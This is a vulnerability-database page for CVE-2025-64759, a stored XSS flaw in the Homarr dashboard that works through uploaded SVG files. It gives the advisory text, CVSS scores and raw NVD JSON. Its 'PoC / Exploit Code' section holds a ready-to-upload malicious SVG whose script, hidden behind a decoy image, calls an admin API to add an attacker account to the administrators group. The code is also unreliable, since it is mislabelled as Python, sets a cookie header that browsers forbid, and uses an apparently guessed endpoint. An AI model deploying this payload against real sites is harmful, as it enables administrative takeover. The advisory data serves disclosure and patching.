Security Vulnerability Report
中文
CVE-2025-64759 CVSS 8.1 HIGH

CVE-2025-64759

Published: 2025-11-19 19:15:50
Last Modified: 2026-04-14 15:42:46

Description

Homarr is an open-source dashboard. Prior to version 1.43.3, stored XSS vulnerability exists, allowing the execution of arbitrary JavaScript in a user's browser, with minimal or no user interaction required, due to the rendering of a malicious uploaded SVG file. This could be abused to add an attacker's account to the "credentials-admin" group, giving them full administrative access, if a user logged in as an administrator was to view the page which renders or redirects to the SVG. This issue has been patched in version 1.43.3.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:homarr:homarr:*:*:*:*:*:*:*:* - VULNERABLE
Homarr < 1.43.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- Malicious SVG file for CVE-2025-64759 --> <!-- Save this as malicious.svg and upload to Homarr --> <svg xmlns="http://www.w3.org/2000/svg"> <script type="text/javascript"> <![CDATA[ // Wait for SVG to load window.addEventListener('load', function() { // Add attacker account to credentials-admin group fetch('/api/admin/users/add-to-group', { method: 'POST', headers: { 'Content-Type': 'application/json', 'Cookie': document.cookie }, body: JSON.stringify({ userId: 'attacker_user_id', group: 'credentials-admin' }) }).then(response => { if (response.ok) { console.log('Privilege escalation successful'); } }).catch(err => console.error('Attack failed:', err)); }); ]]> </script> <!-- Decoy content to appear as normal image --> <rect width="100%" height="100%" fill="#f0f0f0"/> <text x="50%" y="50%" text-anchor="middle">Loading...</text> </svg>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-64759", "sourceIdentifier": "[email protected]", "published": "2025-11-19T19:15:49.963", "lastModified": "2026-04-14T15:42:45.563", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Homarr is an open-source dashboard. Prior to version 1.43.3, stored XSS vulnerability exists, allowing the execution of arbitrary JavaScript in a user's browser, with minimal or no user interaction required, due to the rendering of a malicious uploaded SVG file. This could be abused to add an attacker's account to the \"credentials-admin\" group, giving them full administrative access, if a user logged in as an administrator was to view the page which renders or redirects to the SVG. This issue has been patched in version 1.43.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.7, "impactScore": 5.8}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 0.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}, {"lang": "en", "value": "CWE-434"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-434"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:homarr:homarr:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.43.3", "matchCriteriaId": "5B201889-9433-4F89-888C-7C83A6487CD7"}]}]}], "references": [{"url": "https://github.com/homarr-labs/homarr/commit/aaa23f37321be1e110f722b36889b2fd3bea2059", "source": "[email protected]", "tags": ["Patch", "Permissions Required"]}, {"url": "https://github.com/homarr-labs/homarr/security/advisories/GHSA-wj62-c5gr-2x53", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}]}}